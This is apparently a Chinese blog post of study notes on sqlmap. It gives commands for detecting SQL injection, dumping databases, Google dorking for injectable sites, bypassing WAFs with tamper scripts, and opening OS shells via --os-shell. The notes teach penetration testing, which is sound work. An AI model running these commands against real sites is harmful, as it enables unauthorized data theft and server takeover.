sqlmap学习笔记

作者: Ackerzy | 来源:发表于2017-10-21 12:45 被阅读6次

sqlmap简介

sqlmap是一款用来检测与利用SQL注入漏洞的免费开源工具。
sqlmap的下载地址
这里要注意的一点,也是我开始犯迷糊的地方。sqlmap只是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,使用前请先要么先手工判断注入点,要么用扫描工具扫出sql注入点。

sqlmap基本语法

小技巧:字母缩写前一个 - ,完整单词前两个 -- 。例如:-h --help*
判断注入点 -u
命令:sqlmap.py -u "目标url"
指定参数 -p
sqlmap默认测试所有的GET和POST参数,但你可以手动用-p参数设置想要测试的参数。
命令:sqlmap.py -u "目标url" -p "id,user"
查看用户 --users
命令:sqlmap.py -u "目标url" --users
查看数据库 --dbs
命令:sqlmap.py -u "目标url" --dbs
查看当前数据库、当前用户
命令:sqlmap.py -u "目标url" --current-user --current-db
读取数据库表信息
这里要注意的是,读取表信息时,要先指定数据库
命令:sqlmap.py -u "目标url" --tables -D "目标数据库名称"
读取数据库表中的字段信息
与上一个相同,先库再表后字段
命令:sqlmap.py -u "目标url" --columns -T "表名称" -D "库名称"
读取数据表字段的详细信息
在读取某数据表的具体信息时,通常先查看该表有多少条信息
命令:sqlmap.py -u "目标url" --count -T "表名称" -D "库名称"
然后查看详细信息
命令:sqlmap.py -u "目标url" --dump -T "表名称" -D "库名称"
在这里需要说明的是,--dump会将查询的数据内容保存到本地——C:\Users\XXX.sqlmap\output
下载某数据库内容
可以将某一数据库中的所有表信息下载到本地
命令:sqlmap.py -u "目标url" --dump-all -D "库名称"
以POST方式提交参数的sql注入
在一些以POST方式提交参数的网站中,sqlmapmap可以采取以下两种测试方法
1.用抓包工具如burp进行抓包,将数据包内容复制到txt文件中,从本地txt文件加载http请求
命令:sqlmap.py -r "目标txt文件"
2.--data="数据包中提取出的参数样例"
命令:sqlmap.py -u "目标url" --data="user=1&pass=123"

sqlmap进阶

(一)cookie中转注入

在一些网站中对以GET和POST方式提交的参数进行防注入的设置,这时候我们可以尝试利用cookie中转注入
命令:sqlmap.py -u "目标url" --cookie "id=1" --level 2
在这里cookie参数:定义连接调用位置
level参数:检测等级,sqlmap默认检测等级为1,要进行cookie测试,必须设置level等级大于等于2

(二)利用Google批量搜索注入点

sqlmap 可以测试注入 Google 的搜索结果中的 GET 参数(在国内需要进行代理或VPN设置)
命令:sqlmap.py -g "inurl:php?id="
返回包含该inurl中的Google搜索结果
可以结果其它Google引擎搜索语法进行测试
如:insite、intext、intitle
命令:sqlmap.py -g "site:www.XXX.com inurl:php?id="

(三)tamper插件的使用

在对目标url进行测试的时候经常会发现连接中断,或者明明可以确定该处有注入可就是没有回显,在这个时候是很可能遇到了WAF(防火墙)

先介绍三个命令

1.batch :要求不对目标写入(用户手册的说明)
2.tamper:使用干预脚本(可以在文件夹sqlmap\tamper中找到相应的脚本)
3.check:检查url(可以检查目标url是否使用了WAF)
命令:sqlmap.py -u "目标url" -v 3 --batch --tamper "base64encode.py"
可以绕过WAF防火墙进行测试
命令:sqlmap.py -u "目标url" -v 3 --check-waf --tamper "base64encode.py"
检测目标有没有使用WAF

(四)OS参数

sqlmap也可以运行任意操作系统命令
命令:--os-cmd --os-shell
当数据库为 MySQL , PostgreSQL 或 Microsoft SQL Server ,并且当前用户有权限使用特定的函数
命令:sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd=ipconfig
该语句会执行ipconfig命令并回显
命令:sqlmap.py -u "http://192.168.1.1/my.php?id=1" --os-shell
用 --os-shell 参数可以模拟一个真实的 shell ,可以输入你想执行的命令

相关文章

  • sqlmap学习笔记

    经过一段时间的学习,终于从web安全基础进阶到了web安全工具。作为一个小白,听了网易石榴大佬的建议后决定开始写学...

  • SQLMap笔记

    Sqlmap笔记 sqlmap -u http://www.keruihz.com/news_show.aspx?...

  • sqlmap学习笔记(二)

    之前写的相当于一个简单的概要,接下来较为详细地介绍一下sqlmap的各种功能。 0x01 sqlmap三种请求类型...

  • Sqlmap使用教程【个人笔记精华整理】(转载)

    Sqlmap使用教程【个人笔记精华整理】 2015-8-15 sqlmap, sql注入, 渗透教程 渗透教程 1...

  • sql map 总结

    参考文章: 1. Sqlmap使用教程【个人笔记精华整理】 2. SQL注入之SQLmap入门 3. 细说sql注...

  • sqlmap笔记

    简介: Sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常...

  • sqlmap学习

    查询数据库:python sqlmap.py -u "http://local.premeate.songboy....

  • sqlmap使用操作

    安装好sqlmap后,可以用cmd使用sqlmap D: cd sqlmap/sqlmap python sqlm...

  • Sqlmap笔记补充

    1.基础信息 python sqlmap/sqlmap.py -u"http://url/news?id=1"--...

  • SQLMAP简介

    SQLMAP介绍 1.什么是SQLMAP? 2.SQLMAP能做什么? 3.SQLMAP目录介绍 什么是SQLMA...

网友评论

    本文标题:sqlmap学习笔记

    本文链接:https://www.haomeiwen.com/subject/gcqiuxtx.html